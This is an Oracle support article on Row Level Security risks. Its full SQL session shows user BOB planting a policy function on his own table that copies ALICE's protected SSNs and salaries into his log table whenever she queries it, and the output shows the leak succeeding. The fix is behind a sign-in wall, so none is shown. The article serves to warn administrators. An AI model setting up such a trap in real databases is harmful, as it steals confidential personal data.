How To Implement RLS to Avoid Any Potential Issues ?

(Doc ID 452322.1)

Last updated on OCTOBER 25, 2017

Applies to:

Oracle Database - Enterprise Edition - Version 9.2.0.1 to 10.2.0.3 [Release 9.2 to 10.2]
Information in this document applies to any platform.
Information in this document applies to any platform.

Goal

What are the things to be taken care of when implementing  RLS such that the sensitive data will remain protected under any circumstances. Let's analyze the following scenario:

A table in ALICE schema containing sensitive data is protected with a RLS policy and the access to the data is correctly restricted. User BOB who cannot have access to the sensitive data can define his own policy on a table from the ALICE schema. The function used for BOB's policy instead of enforcing the policy is executing a query against the sensitive table from ALICE. If ALICE executes a query against BOB's table, BOB's policy function will get executed with invoker rights and as such confidential information gets disclosed.

 

SQL> conn / as sysdba
Connected.
SQL> create user alice identified by alice
/  
User created.

SQL> create user bob identified by bob
/
User created.

SQL> grant resource,connect, dba to bob, alice
/
Grant succeeded. 

SQL> create table alice.employee(  username varchar2(25),  ssn int,  salary int); 
Table created. 

SQL> insert into employee values('ALICE', 123456789, 100000);
insert into employee values('BOB', 234567890, 60000);
commit;

1 row created.

SQL>
1 row created.

SQL>
Commit complete. 

SQL> grant select on employee to bob;
Grant succeeded. 

SQL> create or replace function empFilter(p_schema varchar2, p_obj varchar2) return varchar2 as
begin
     return 'username = ''' || SYS_CONTEXT('userenv', 'SESSION_USER') || '''';
end;
/

Function created. 

SQL> execute DBMS_RLS.ADD_POLICY (object_schema => 'alice',
                                  object_name => 'employee', 
                                  policy_name => 'AliceEmployeeFilter',
                                  function_schema => 'alice',
                                  policy_function => 'empFilter',
                                  statement_types => 'select'); 

PL/SQL procedure successfully completed.

SQL> conn bob/bob
Connected.

SQL> create table logtable( when date, entry long);
Table created. 

SQL> create table picnic(employeename varchar2(25), assignment varchar2(50));
Table created.

SQL> insert into picnic values('ALICE', 'salad');
1 row created. 

SQL>insert into picnic values('BOB', 'drinks');
1 row created. 

SQL>commit; 
Commit complete. 

SQL> grant select on picnic to alice;
Grant succeeded.

SQL> 
create or replace function trapFilter(p_schema varchar2, p_obj varchar2) return varchar2 as 
   begin 
      for allowedVal in (select * from alice.employee) loop 
         insert into bob.logtable values(sysdate,'user='||SYS_CONTEXT'userenv', 'SESSION_USER') || 
         ', name = ' || allowedVal.username || ', ssn = ' || allowedVal.ssn || ', salary = ' || allowedVal.salary); 
      end loop; 
      commit;
      return ''; 
    end; 
   /

Function created. 

SQL> execute DBMS_RLS.ADD_POLICY(object_schema => 'bob',
                                 object_name => 'picnic', 
                                 policy_name => 'BobPicnicFilter', 
                                 function_schema => 'bob', 
                                 policy_function => 'trapFilter',
                                 statement_types => 'select');

PL/SQL procedure successfully completed.

SQL> conn alice/alice
Connected. 

SQL> select * from bob.picnic;

EMPLOYEENAME              ASSIGNMENT
------------------------- --------------------------------------------------
ALICE                     salad
BOB                       drinks 

SQL> conn bob/bob
Connected. 
SQL> select * from logtable;

SQL>
WHEN
-----------------
ENTRY
--------------------------------------------------------------------------------
20070727 10:26:16
user = ALICE, name = ALICE, ssn = 123456789, salary = 100000

20070727 10:26:16
user = ALICE, name = ALICE, ssn = 123456789, salary = 100000 



 



Solution

Sign In with your My Oracle Support account

Don't have a My Oracle Support account? Click to get started

My Oracle Support provides customers with access to over a
Million Knowledge Articles and hundreds of Community platforms